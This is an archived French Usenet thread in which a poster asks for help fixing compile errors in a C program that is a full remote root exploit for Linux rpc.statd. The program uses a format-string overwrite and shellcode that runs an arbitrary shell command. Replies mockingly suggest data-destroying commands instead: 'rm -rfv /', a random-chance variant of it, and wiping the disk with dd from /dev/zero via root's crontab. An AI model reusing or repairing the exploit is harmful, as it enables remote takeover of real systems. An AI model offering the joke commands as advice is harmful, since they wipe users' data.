OVH Cloud OVH Cloud

je ne sais pas comment corriger ces erreurs

25 réponses
Avatar
john.swilting
j ai ce code en c
j ai plein de warning pas grave
mais j ai des errors que je ne sans pas corrige pouvez vous m aider
gcc -o output_file -Wall output_file.c



/*
* rpc.statd remote root xploit for linux/x86
* based on the xploit made by drow for linux/PowerPC
*
* Author: Doing, 08/2000
*
* NOTE:
* The guest of the remote address of the saved EIP and local vars
* is still a problem. The value showed on the usage worked
* fine on mi suse with the compiled sources. With gdb and a little
* patience you should get the address for your distro/version.
* Some address doesn't work, because they cause a very long result,
* and the syslog() function overflows itself when parsing the
* format input :(
*
* Greetz to Pascal Bouchareine for that great paper on format bugs :)
*
* Y saludos a los canales #phreak y #hacker_novatos del IRC hispano :P
*
* Excuse my poor english :-)
*
*/

#include <sys/types.h>
#include <sys/time.h>
#include <stdio.h>
#include <string.h>
#include <netdb.h>
#include <rpc/rpc.h>
#include <rpcsvc/sm_inter.h>
#include <sys/socket.h>

void usage(char *s) {
printf("rpc.statd xploit for linux/x86 - Doing <jdoing@bigfoot.com>\n");
printf("Usage: %s host address command\n", s);
printf("host\t: the targe host\n");
printf("address\t: the address of the buffer in function log()\n");
printf("command\t: command to run remotely\n\n");
printf("ej:%s 127.0.0.1 0xbffff3d4 \"/usr/X11R6/bin/xterm
-ut-display127.0.0.1:0\"\n\n", s);
printf("Enjoy!\n");
exit(0);
}

/*
shellcode without cr/lf and control caracters
*/
char *code =
"\xeb\x4b\x5e\x89\x76\xac\x83\xee\x20\x8d\x5e\x28\x83\xc6\x20\x89"
"\x5e\xb0\x83\xee\x20\x8d\x5e\x2e\x83\xc6\x20\x83\xc3\x20\x83\xeb"
"\x23\x89\x5e\xb4\x31\xc0\x83\xee\x20\x88\x46\x27\x88\x46\x2a\x83"
"\xc6\x20\x88\x46\xab\x89\x46\xb8\xb0\x2b\x2c\x20\x89\xf3\x8d\x4e"
"\xac\x8d\x56\xb8\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xb0\xff"
"\xff\xff/bin/sh -c ";

char shellcode[4096];

void make_shellcode(char *cdir, char *cmd)
{
unsigned long dir, ret;
int c, eat = 14;
int first_n = 0xc9;
char tmp[1024];
int i, i0, i1, i2;
char *ptr = shellcode;

memset(shellcode, 0, 4096);

sscanf(cdir, "%x", &dir);

ret = dir + 0xd0 - 20; /* put ret address into nop-space :) */

dir += 1028; /* dir = address of saved EIP = address of buffer +
1024 bytes of buffer + 4 bytes of SFP */

ptr = &shellcode[strlen(shellcode)];
sprintf(ptr, "%c%c%c%c", dir & 0xff, (dir & 0xff00) >> 8,
(dir & 0xff0000) >> 16, (dir & 0xff000000) >> 24);
ptr = &shellcode[strlen(shellcode)];
sprintf(ptr, "%c%c%c%c", dir & 0xff, (dir & 0xff00) >> 8,
(dir & 0xff0000) >> 16, (dir & 0xff000000) >> 24);
ptr = &shellcode[strlen(shellcode)];
dir++;
sprintf(ptr, "%c%c%c%c", dir & 0xff, (dir & 0xff00) >> 8,
(dir & 0xff0000) >> 16, (dir & 0xff000000) >> 24);
ptr = &shellcode[strlen(shellcode)];
sprintf(ptr, "%c%c%c%c", dir & 0xff, (dir & 0xff00) >> 8,
(dir & 0xff0000) >> 16, (dir & 0xff000000) >> 24);
ptr = &shellcode[strlen(shellcode)];
dir++;
sprintf(ptr, "%c%c%c%c", dir & 0xff, (dir & 0xff00) >> 8,
(dir & 0xff0000) >> 16, (dir & 0xff000000) >> 24);
ptr = &shellcode[strlen(shellcode)];
sprintf(ptr, "%c%c%c%c", dir & 0xff, (dir & 0xff00) >> 8,
(dir & 0xff0000) >> 16, (dir & 0xff000000) >> 24);
ptr = &shellcode[strlen(shellcode)];
dir++;
sprintf(ptr, "%c%c%c%c", dir & 0xff, (dir & 0xff00) >> 8,
(dir & 0xff0000) >> 16, (dir & 0xff000000) >> 24);
ptr = &shellcode[strlen(shellcode)];
sprintf(ptr, "%c%c%c%c", dir & 0xff, (dir & 0xff00) >> 8,
(dir & 0xff0000) >> 16, (dir & 0xff000000) >> 24);
ptr = &shellcode[strlen(shellcode)];

for ( c = 0; c < eat; c++) {
sprintf(ptr, "%%x ");
ptr = &shellcode[strlen(shellcode)];
}

i0 = (ret & 0xff);
if (i0 > first_n) sprintf(ptr, "%%0%ix%%n", i0 - first_n);
if (i0 == first_n) sprintf(ptr, "%%n");
if (i0 < first_n) {
i0 |= 0x0100;
sprintf(ptr, "%%0%ix%%n", i0 - first_n);
}
ptr = &shellcode[strlen(shellcode)];


i = (ret & 0xff00) >> 8;
if (i > i0) sprintf(ptr, "%%0%ix%%n", i - i0);
if (i == i0) sprintf(ptr, "%%n");
if (i < i0) {
i |= 0x0100;
sprintf(ptr, "%%0%ix%%n", i - i0);
}
ptr = &shellcode[strlen(shellcode)];


i1 = (ret & 0xff0000) >> 16;
if (i1 > i) sprintf(ptr, "%%0%ix%%n", i1 - i);
if (i1 == i) sprintf(ptr, "%%n");
if (i1 < i) {
i1 |= 0x0100;
sprintf(ptr, "%%0%ix%%n", i1 - i);
}
ptr = &shellcode[strlen(shellcode)];


i2 = (ret & 0xff000000) >> 24;
i2 |= 0x0200;
sprintf(ptr, "%%0%ix%%n", i2 - i1);
ptr = &shellcode[strlen(shellcode)];


for (c = 0; c < 50; c++) {
sprintf(ptr, "\x90");
ptr = &shellcode[strlen(shellcode)];
}
sprintf(ptr, "%s%s\x00", code, cmd);
}

main(int argc, char *argv[]) {
CLIENT *cl;
enum clnt_stat stat;
struct timeval tm;
struct mon monreq;
struct sm_stat_res monres;
struct hostent *hp;
struct sockaddr_in target;
int sd, i;

if (argc < 4)
usage(argv[0]);

make_shellcode(argv[2], argv[3]);

memset(&monreq, 0, sizeof(monreq));
monreq.mon_id.my_id.my_name ="localhost";
monreq.mon_id.my_id.my_prog = 0;
monreq.mon_id.my_id.my_vers = 0;
monreq.mon_id.my_id.my_proc = 0;
monreq.mon_id.mon_name = shellcode;

if ((hp=gethostbyname(argv[1])) == NULL) {
printf("Can't resolve %s\n", argv[1]);
exit(0);
}
target.sin_family=AF_INET;
target.sin_addr.s_addr=*(u_long *)hp->h_addr;
target.sin_port=0; /* ask portmap */
sd = RPC_ANYSOCK;

tm.tv_sec=10;
tm.tv_usec=0;
if ((cl=clntudp_create(&target, SM_PROG, SM_VERS, tm, &sd)) == NULL) {
clnt_pcreateerror("clnt_create");
exit(0);
}
stat=clnt_call(cl, SM_MON, xdr_mon, (char *)&monreq, xdr_sm_stat_res,
(char *)&monres, tm);
if (stat != RPC_SUCCESS)
clnt_perror(cl, "clnt_call");
else
printf("stat_res = %d.\n", monres.res_stat);
clnt_destroy(cl);
}

10 réponses

1 2 3
Avatar
Benoit Izac
Bonjour,

le 19/01/2006 à 12:00, Harpo a écrit
dans le message <43cf7151$0$20172$ :

Au fait, quand on fait 'rm -rfv /', ça s'arrête à quel moment ?


À la fin. J'ai fait une fois un « rm -fr tmp/ * » alors que j'étais root
et dans « / » ; cet espace m'a coûté cher (en temps -- car comme tout le
monde j'avais une sauvegarde toute fraîche ;-)). Depuis, sous root, je
fais beaucoup plus attention avant d'appuyer sur la touche « Enter ».

newfs, mkfs ou format sont aussi très amusants et surtout bien plus
rapides. ;-)

Pour un nettoyage en profondeur les grandes marques recommandent
« dd ». À appliquer délicatement avec /dev/zero directement sur le
disque sale, c'est plus long mais c'est vraiment efficace. On peut
mettre ça dans la crontab de root pour avoir un nettoyage régulier
(at(1) peut faire l'affaire).

--
Benoit Izac

Avatar
Aji
"Kybla" a écrit dans le message de news:
newscache$g12cti$q8g$
R12y wrote:
john.swilting :


gcc -o output_file -Wall output_file.c



rm -rfv /

N'oublies pas le 'v', ça fait durer le plaisir...


Ou la variante suivante:
[ $RANDOM % 2 ] == 0 ] && rm -rfv / || echo "You live"


J ai fait ce que vous indiquez (la premiere version, pas la seconde), mais
que faut il faire ensuite ? Il ne se passe plus rien, et comme en plus mon
ordinateur est bloqué, je n ai pas pu essayer la deuxieme solution. Quelle
est la difference enre les deux solutions ? J ai l impression qu il y a un
bug dans la premiere solution, non ?

John ?



Avatar
Anthony Fleury

J ai fait ce que vous indiquez (la premiere version, pas la seconde), mais
que faut il faire ensuite ? Il ne se passe plus rien, et comme en plus mon
ordinateur est bloqué, je n ai pas pu essayer la deuxieme solution.


Si c'est vrai, mes condoléances pour les données qui étaient sur le
disque. Je n'y crois pas vraiment, mais on va répondre quand même...

Quelle est la difference enre les deux solutions ? J ai l impression qu il y a un
bug dans la premiere solution, non ?


C'est en effet un leger petit bug dans la ligne écrite par R12y qui fait
que la commande qu'il a donné formatte toutes les partitions montées au
moment de l'execution de la commande [faut qu'elle soit faite en root
pour des problèmes de droit d'écriture dans certains répertoires --
c'est mal fait linux avec ces conneries de droit on peut même pas faire
des conneries en paix].

Par contre, la seconde n'execute cette commande que si un nombre tiré
aléatoirement est impaire.

--
Anthony Fleury

Avatar
Kybla
Ou la variante suivante:
[ $RANDOM % 2 ] == 0 ] && rm -rfv / || echo "You live"


j'aime bien cette version !-)



C'est la roulette russe avec un barillet à 2 balles.

Au fait, quand on fait 'rm -rfv /', ça s'arrête à quel moment ?



Certainement au moment où l'on arrive au répertoire /usr/bin là où se
trouve la commande 'rm'.



Avatar
Anthony Fleury

Certainement au moment où l'on arrive au répertoire /usr/bin là où se
trouve la commande 'rm'.


Bah non !
On peut très bien faire un rm `which rm` sans que ca ne pose problème
(sous reserve d'avoir les droits d'écriture nécessaires).

Bref, on est un peu HS.

--
Anthony Fleury

Avatar
Benoit Izac
Bonjour,

le 19/01/2006 à 14:11, Kybla a écrit
dans le message <newscache$lhccti$lfg$ :

Au fait, quand on fait 'rm -rfv /', ça s'arrête à quel moment ?


Certainement au moment où l'on arrive au répertoire /usr/bin là où se
trouve la commande 'rm'.


Non. rm est en mémoire une fois lancé, il n'a plus besoin du fichier
/bin/rm pour s'exécuter :

% touch a b x y; cp /bin/rm .; ls
a b rm x y
% ./rm -fr a b rm x y; ls
%

--
Benoit Izac


Avatar
Kybla
Kybla wrote:
R12y wrote:

john.swilting :


gcc -o output_file -Wall output_file.c




rm -rfv /

N'oublies pas le 'v', ça fait durer le plaisir...



Ou la variante suivante:
[ $RANDOM % 2 ] == 0 ] && rm -rfv / || echo "You live"


Je n'avais pas vérifié la syntaxe, il y avait une petite erreur...
Cette version marche bien mieu:
[ $[$RANDOM % 2] == 0 ] && rm -rfv / || echo "You live"



Avatar
Kybla
Bah non !
On peut très bien faire un rm `which rm` sans que ca ne pose problème
(sous reserve d'avoir les droits d'écriture nécessaires).


Oui, mais si nous n'avons plus de "rm" nous ne pourrons plus continuer à
effacer les fichiers suivants.

Avatar
Anthony Fleury

Bah non !
On peut très bien faire un rm `which rm` sans que ca ne pose problème
(sous reserve d'avoir les droits d'écriture nécessaires).



Oui, mais si nous n'avons plus de "rm" nous ne pourrons plus continuer à
effacer les fichiers suivants.


<totalement super hs>

Ohla, attention, il n'est pas démarré (à ma connaissance) une instance
de rm à chaque fichier à effacer. rm prend comme paramètre (avec
l'option -r) un nom de dossier, et cette instance seule va s'occuper
d'effacer les fichiers demandés. Ca serait terriblement peu efficace de
décharger/recharger rm à chaque fichier.

Attention, je parle bien sûr d'une execution de rm comme celle donnée au
dessus, sans xargs ou autre. Sur un rm -rf /, rm a deux arguments :
'-rf' qu'il va interprêter comme j'efface un dossier et je demande pas
l'avis de l'utilisateur, et '/' interprêté comme le dossier à vider avec
tout ces sous dossiers. À partir de là, cette instance de rm va faire le
ménage.

</totalement super hs>

--
Anthony Fleury


Avatar
Kybla

<totalement super hs>

Ohla, attention, il n'est pas démarré (à ma connaissance) une instance
de rm à chaque fichier à effacer. rm prend comme paramètre (avec
l'option -r) un nom de dossier, et cette instance seule va s'occuper
d'effacer les fichiers demandés. Ca serait terriblement peu efficace de
décharger/recharger rm à chaque fichier.

Attention, je parle bien sûr d'une execution de rm comme celle donnée au
dessus, sans xargs ou autre. Sur un rm -rf /, rm a deux arguments :
'-rf' qu'il va interprêter comme j'efface un dossier et je demande pas
l'avis de l'utilisateur, et '/' interprêté comme le dossier à vider avec
tout ces sous dossiers. À partir de là, cette instance de rm va faire le
ménage.

</totalement super hs>



Je viens de faire un test et tu as raison: une seule et unique instance
de 'rm' efface l'ensemble des fichiers.
C'est vrai que décharger/recharger rm à chaque itération ne serait
vraiment pas efficace, je n'ai pas beaucoup réfléchis sur ce coup ci.

Désolé pour ce HS.

1 2 3